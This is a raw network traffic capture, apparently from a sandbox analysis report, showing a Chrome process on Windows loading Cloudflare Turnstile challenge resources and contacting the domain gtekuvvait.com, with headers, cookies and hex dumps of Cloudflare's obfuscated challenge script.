333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49746	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:13 UTC	796	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:13 UTC	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:13 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8cbcae1dfbc043da-EWR
2024-10-01 13:08:13 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49747	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:13 UTC	787	OUT	GET /cdn-cgi/challenge-platform/h/g/jsd/r/8cbcadf6bd494332 HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
2024-10-01 13:08:13 UTC	502	IN	HTTP/1.1 405 Method Not Allowed Date: Tue, 01 Oct 2024 13:08:13 GMT Content-Length: 0 Connection: close allow: POST Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I9dtLJB2%2BVUofzVP34Rwqgg9zX8Ffc9GnFiJS9CWs%2F4feg5Fsj5rZWroWm%2BoPMvTS6aQnTP0QzfnpwbjNS0tEBAyi6VUidxg8coN6uGhYzQ%2Fdt2XXNGUpg0l8qsbYKi1uA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcae1efe1243fa-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49748	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:13 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:13 UTC	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:13 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8cbcae21ed8b43c8-EWR
2024-10-01 13:08:13 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49749	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:13 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cbcae183e2342bd&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:13 UTC	301	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:13 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122212 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cbcae227b175e79-EWR
2024-10-01 13:08:13 UTC	1068	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 5a 4a 79 54 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qZJyT2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 Data Ascii: oreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turnstile_failure":"Error","not_embedded":"This%
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 65 49 6e 74 28 67 48 28 38 36 37 29 29 2f 31 31 2a 28 70 61 72 73 65 49 6e 74 28 67 48 28 35 34 39 29 29 2f 31 32 29 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 34 34 31 37 32 37 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 31 38 31 35 29 5d 2c 65 4f 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 4a 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 67 4a 3d 67 49 2c 67 3d 7b 7d 2c 67 5b 67 4a 28 38 32 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 5e 73 7d 2c 67 5b 67 4a 28 31 36 32 39 29 5d 3d 67 4a 28 31 32 38 36 29 2c 67 5b 67 4a 28 37 Data Ascii: eInt(gH(867))/11*(parseInt(gH(549))/12),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,441727),eM=this\|\|self,eN=eM[gI(1815)],eO=function(f,gJ,g,h,i,j,k,l,m){for(gJ=gI,g={},g[gJ(823)]=function(n,s){return n^s},g[gJ(1629)]=gJ(1286),g[gJ(7
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 4f 28 31 36 39 32 29 5d 5b 68 4f 28 31 30 31 32 29 5d 2c 27 65 76 65 6e 74 27 3a 65 5b 68 4f 28 36 31 39 29 5d 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 4f 28 31 36 39 32 29 5d 5b 68 4f 28 31 37 38 33 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 4f 28 31 36 39 32 29 5d 5b 68 4f 28 31 31 33 35 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 68 4f 28 39 35 34 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 68 4f 28 31 36 39 32 29 5d 5b 68 4f 28 31 38 31 31 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 49 28 37 33 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 68 50 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 29 7b 6b 3d 28 68 50 3d 67 49 2c 6a 3d 7b 7d 2c 6a 5b 68 50 28 Data Ascii: 'widgetId':eM[hO(1692)][hO(1012)],'event':e[hO(619)],'cfChlOut':eM[hO(1692)][hO(1783)],'cfChlOutS':eM[hO(1692)][hO(1135)],'code':e[hO(954)],'rcV':eM[hO(1692)][hO(1811)]},'*'))},g)},eM[gI(733)]=function(g,h,i,hP,j,k,l,m,n,o,s,x,B,C,D,E){k=(hP=gI,j={},j[hP(
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 29 2c 69 5b 68 51 28 31 33 34 32 29 5d 3d 68 51 28 34 33 37 29 2c 69 5b 68 51 28 31 35 39 38 29 5d 3d 68 51 28 31 31 36 39 29 2c 69 5b 68 51 28 31 30 34 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 6a 3d 69 2c 6b 3d 64 5b 68 51 28 31 37 35 30 29 5d 28 29 2c 6c 3d 68 51 28 38 36 38 29 2c 6b 5b 68 51 28 33 36 34 29 5d 28 6c 29 3e 2d 31 29 3f 65 4d 5b 68 51 28 31 30 35 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 52 29 7b 68 52 3d 68 51 2c 65 4d 5b 68 52 28 31 33 33 37 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6d 3d 5b 68 51 28 39 34 37 29 2b 64 2c 6a 5b 68 51 28 31 35 39 38 29 5d 2b 65 2c 6a 5b 68 51 28 31 30 34 32 29 5d 28 68 51 28 31 37 37 31 29 2c 66 29 2c 6a 5b 68 51 28 31 30 34 32 29 5d 28 68 51 28 31 37 39 37 29 2c Data Ascii: ),i[hQ(1342)]=hQ(437),i[hQ(1598)]=hQ(1169),i[hQ(1042)]=function(n,o){return n+o},j=i,k=d[hQ(1750)](),l=hQ(868),k[hQ(364)](l)>-1)?eM[hQ(1054)](function(hR){hR=hQ,eM[hR(1337)]()},1e3):(m=[hQ(947)+d,j[hQ(1598)]+e,j[hQ(1042)](hQ(1771),f),j[hQ(1042)](hQ(1797),
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 2c 67 29 7b 72 65 74 75 72 6e 20 67 5e 66 7d 2c 27 70 52 72 42 44 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 5e 67 7d 2c 27 67 69 5a 53 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 26 67 7d 2c 27 55 72 58 69 67 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 2c 27 43 4d 74 58 62 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 4e 65 73 42 68 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 6a 6b 28 31 36 39 32 29 5d 5b 6a 6b 28 31 32 31 30 29 5d 7c 7c 31 65 34 2c 65 3d 67 73 28 29 2c 21 65 4d 5b 6a 6b 28 31 37 39 31 29 5d 26 26 21 67 34 28 29 26 26 21 65 4d 5b 6a 6b 28 31 38 31 36 29 5d Data Ascii: ,g){return g^f},'pRrBD':function(f,g){return f^g},'giZSN':function(f,g){return f&g},'UrXig':function(f,g){return f-g},'CMtXb':function(f){return f()},'NesBh':function(f){return f()}},d=eM[jk(1692)][jk(1210)]\|\|1e4,e=gs(),!eM[jk(1791)]&&!g4()&&!eM[jk(1816)]
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 6e 20 67 28 68 2c 69 29 7d 2c 27 51 77 73 52 45 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 2b 68 7d 2c 27 6d 4b 54 70 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 3d 3d 3d 68 7d 2c 27 53 70 48 4a 57 27 3a 6a 78 28 33 36 33 29 7d 29 3b 74 72 79 7b 69 66 28 65 5b 6a 78 28 34 30 37 29 5d 28 6a 78 28 33 36 33 29 2c 65 5b 6a 78 28 36 30 31 29 5d 29 29 72 65 74 75 72 6e 20 67 79 28 63 29 3b 65 6c 73 65 20 68 3d 65 5b 6a 78 28 38 37 34 29 5d 28 67 29 2c 65 5b 6a 78 28 31 38 31 38 29 5d 28 68 2c 65 5b 6a 78 28 34 31 39 29 5d 28 68 2c 27 2d 27 29 2b 69 2c 6a 29 7d 63 61 74 63 68 28 68 29 7b 72 65 74 75 72 6e 20 67 77 28 67 78 28 63 29 29 7d 7d 2c 67 7a 3d 7b 7d 2c 67 7a 5b 67 49 28 36 36 36 29 5d 3d 27 6f Data Ascii: n g(h,i)},'QwsRE':function(g,h){return g+h},'mKTpL':function(g,h){return g===h},'SpHJW':jx(363)});try{if(e[jx(407)](jx(363),e[jx(601)]))return gy(c);else h=e[jx(874)](g),e[jx(1818)](h,e[jx(419)](h,'-')+i,j)}catch(h){return gw(gx(c))}},gz={},gz[gI(666)]='o
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6e 2b 6f 7d 2c 27 4d 71 6a 7a 73 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3c 6f 7d 2c 27 48 6a 4d 64 67 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 2c 27 58 7a 68 45 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 28 6f 29 7d 7d 2c 6a 3d 4f 62 6a 65 63 74 5b 6a 45 28 34 35 38 29 5d 28 68 29 2c 6b 3d 30 3b 69 5b 6a 45 28 31 31 39 34 29 5d 28 6b 2c 6a 5b 6a 45 28 38 34 33 29 5d 29 3b 6b 2b 2b 29 69 66 28 6c 3d 6a 5b 6b 5d 2c 6c 3d 3d 3d 27 66 27 26 26 28 6c 3d 27 4e 27 29 2c 67 5b 6c 5d 29 7b 66 6f 72 28 6d 3d 30 3b 69 5b 6a 45 28 31 31 39 34 29 5d 28 6d 2c 68 5b 6a 5b 6b 5d 5d 5b 6a 45 28 38 34 33 29 5d 29 3b 69 5b 6a 45 28 31 34 34 31 29 5d Data Ascii: turn n+o},'Mqjzs':function(n,o){return n<o},'HjMdg':function(n,o){return o===n},'XzhEl':function(n,o){return n(o)}},j=Object[jE(458)](h),k=0;i[jE(1194)](k,j[jE(843)]);k++)if(l=j[k],l==='f'&&(l='N'),g[l]){for(m=0;i[jE(1194)](m,h[j[k]][jE(843)]);i[jE(1441)]
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 46 48 44 63 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 49 4d 78 57 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 42 7a 67 70 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 76 46 53 79 73 27 3a 6a 47 28 31 35 36 33 29 2c 27 41 74 4a 4f 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 63 78 48 42 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 45 76 6c 4a 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 5a 53 51 41 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c Data Ascii: eturn i!=h},'FHDcv':function(h,i){return i&h},'IMxWA':function(h,i){return h(i)},'BzgpD':function(h,i){return ih},'vFSys':jG(1563),'AtJOQ':function(h,i){return hi},'cxHBk':function(h,i){return i!=h},'EvlJo':function(h,i){return i==h},'ZSQAA':function(h,
2024-10-01 13:08:13 UTC	1369	IN	Data Raw: 3d 30 26 26 28 44 3d 4d 61 74 68 5b 6a 4a 28 39 33 30 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 46 28 47 5b 6a 4a 28 31 38 31 36 29 5d 5b 6a 4a 28 38 38 38 29 5d 2c 31 65 33 29 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 6a 4a 28 39 39 30 29 5d 28 48 3c 3c 31 2c 31 26 4d 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 6a 4a 28 38 33 33 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 43 3d 28 44 2d 2d 2c 64 5b 6a 4a 28 31 33 34 37 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 6a 4a 28 39 33 30 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 78 5b 4c 5d 3d 45 2b 2b 2c 64 5b 6a 4a 28 34 32 37 29 5d 28 53 74 72 69 6e 67 2c 4b 29 29 7d Data Ascii: =0&&(D=Math[jJ(930)](2,F),F++),delete B[C]}else F(G[jJ(1816)][jJ(888)],1e3)}else for(M=x[C],s=0;s<F;H=d[jJ(990)](H<<1,1&M),I==j-1?(I=0,G[jJ(833)](o(H)),H=0):I++,M>>=1,s++);C=(D--,d[jJ(1347)](0,D)&&(D=Math[jJ(930)](2,F),F++),x[L]=E++,d[jJ(427)](String,K))}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49750	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:13 UTC	927	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2852 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 063d5b8f5340141 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:13 UTC	2852	OUT	Data Raw: 76 5f 38 63 62 63 61 65 31 38 33 65 32 33 34 32 62 64 3d 62 76 6a 74 5a 74 70 74 76 74 77 74 44 2d 65 54 2d 65 55 74 2d 52 34 6d 6c 48 2d 4c 65 6c 65 73 6f 52 4a 78 6e 65 25 32 62 37 69 65 6e 6e 2d 53 65 72 65 41 52 4c 6d 6b 6e 43 65 50 59 31 42 77 66 74 4a 52 2d 77 65 71 54 2b 78 71 6a 65 4d 4b 65 4a 6c 65 2d 4f 65 6c 37 74 65 4f 4a 58 6e 34 78 65 44 77 77 43 51 37 58 6b 4a 6e 4d 38 65 41 45 59 61 37 65 72 74 78 65 32 2d 48 33 78 69 6c 65 49 5a 6b 65 43 2d 74 4c 6b 2d 37 65 4c 6a 4d 41 4a 6b 6e 76 2b 64 47 65 30 5a 2d 6a 77 69 42 35 67 36 47 5a 2d 74 4d 62 58 6e 4d 36 4d 74 72 51 2d 74 65 67 62 65 4d 39 41 6a 65 30 67 6f 72 6e 65 2d 47 65 49 64 6d 47 30 67 4b 42 4a 34 4b 65 71 52 65 63 65 4d 42 54 65 34 42 32 36 6a 4d 64 65 65 68 4c 65 2d 48 66 70 39 49 Data Ascii: v_8cbcae183e2342bd=bvjtZtptvtwtD-eT-eUt-R4mlH-LelesoRJxne%2b7ienn-SereARLmknCePY1BwftJR-weqT+xqjeMKeJle-Oel7teOJXn4xeDwwCQ7XkJnM8eAEYa7ertxe2-H3xileIZkeC-tLk-7eLjMAJknv+dGe0Z-jwiB5g6GZ-tMbXnM6MtrQ-tegbeM9Aje0gorne-GeIdmG0gKBJ4KeqReceMBTe4B26jMdeehLe-Hfp9I
2024-10-01 13:08:14 UTC	717	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152056 Connection: close cf-chl-gen: GnwhCn9cvbERwXgU6s+LjHUBmx5doXH8bP6jMdWVCGun2vRtW+2sDkc1LT6RAfzwzPHGUzfRwFVE8FF4TfSWNVVLRnMdn/VrW4/GjOxUna8W1ZGWit9XqymZtEO2rS0LO3P+gxbl1vS+4P/xIC0ifZJxWz9uxXgIaM/EhObh0NEjHnqrHylKYz3Cv8tAfunp5ceVBe9KvIhRPdN6zVee6ErjY7HPzT3tuGdwaMn9WdN3+ZVm0ozKNA8HdjEISD8UW96cBJj5dByOE4CMHOKNy6AEGTEMeSkUagtcZQA99m9A/6IdLGgakUxLHck1l/Vohn9LIiDBxITO8QA7WJxnjJVHlpw1ZMnTxxciUi6Dz7pAjipI9bGnx9uYBr5Mvl0nFyyApWOhx+rG9DClX1M6uQRQETlR55l8Qp1Cjq4AG90FlOXkIusW8KlY9DIx5uf2kldFSSJCWE9FwA3hS5jvQXi+WZYDYzq3iMx7wpcfYLK8zXU=$4jzoPjNj76QUTskN Server: cloudflare CF-RAY: 8cbcae231fce1770-EWR
2024-10-01 13:08:14 UTC	652	IN	Data Raw: 70 5a 69 53 79 6f 53 4e 76 37 71 49 67 35 72 45 76 4d 33 4d 70 4b 65 69 32 4c 53 53 6d 35 43 61 71 72 57 61 31 73 4f 64 6e 73 58 45 74 74 58 59 33 36 54 6d 76 63 44 4b 36 2f 4b 6d 38 38 48 6d 73 73 47 34 33 4d 2b 32 74 73 6a 56 7a 66 4c 57 38 64 44 5a 38 67 50 48 43 41 54 4b 35 75 4c 39 35 2b 44 75 36 65 50 65 44 51 58 6d 34 74 6e 37 36 66 59 64 46 39 72 62 41 79 44 64 45 53 54 36 34 4f 6a 36 44 50 30 41 4a 68 38 77 43 41 6e 74 4d 54 49 4e 38 54 4d 4e 46 69 30 33 2f 44 41 55 41 50 6b 4e 4c 41 52 45 48 78 67 54 4e 79 4d 63 46 67 51 4d 54 30 35 53 50 55 67 51 49 56 4e 46 4c 78 51 6b 53 30 63 57 4c 42 6c 63 57 47 52 43 4e 30 59 66 61 56 59 35 5a 6d 68 58 54 57 39 69 58 55 46 6d 4b 6b 73 74 59 30 52 57 53 53 31 4a 5a 57 31 74 66 6c 6c 55 63 54 31 4e 55 54 30 Data Ascii: pZiSyoSNv7qIg5rEvM3MpKei2LSSm5CaqrWa1sOdnsXEttXY36TmvcDK6/Km88HmssG43M+2tsjVzfLW8dDZ8gPHCATK5uL95+Du6ePeDQXm4tn76fYdF9rbAyDdEST64Oj6DP0AJh8wCAntMTIN8TMNFi03/DAUAPkNLAREHxgTNyMcFgQMT05SPUgQIVNFLxQkS0cWLBlcWGRCN0YfaVY5ZmhXTW9iXUFmKkstY0RWSS1JZW1tfllUcT1NUT0
2024-10-01 13:08:14 UTC	1369	IN	Data Raw: 68 4b 65 68 63 72 43 78 63 61 53 36 75 4a 47 76 6c 33 71 63 6f 59 76 46 72 35 71 55 6d 37 54 4b 71 37 71 4e 75 5a 36 61 76 35 2b 6b 69 72 58 54 79 63 57 33 6c 63 71 77 74 38 37 67 74 37 75 33 77 65 4c 46 73 61 61 35 6e 39 36 6e 34 38 69 2b 76 62 72 44 37 74 2f 31 72 36 33 52 73 66 58 79 39 2f 48 35 37 4f 6a 30 30 51 4c 69 31 74 4d 44 38 75 50 47 39 65 49 48 37 66 7a 35 2b 65 44 65 36 52 59 53 41 2b 4d 47 43 64 48 78 37 77 6b 67 48 68 6a 74 2f 41 4d 63 2f 68 67 61 33 2b 4d 41 41 2f 63 57 35 51 45 4f 43 52 45 6a 4a 52 41 71 4d 2b 38 4a 42 51 67 49 4e 76 76 38 49 43 2f 38 41 54 51 32 4a 79 49 43 4b 55 41 33 46 51 73 6b 42 69 39 50 54 51 35 45 56 6b 67 35 52 6c 6f 61 55 68 6f 79 53 56 31 62 56 78 74 63 51 44 64 61 48 6b 42 63 59 55 52 69 54 57 4d 76 4a 79 39 Data Ascii: 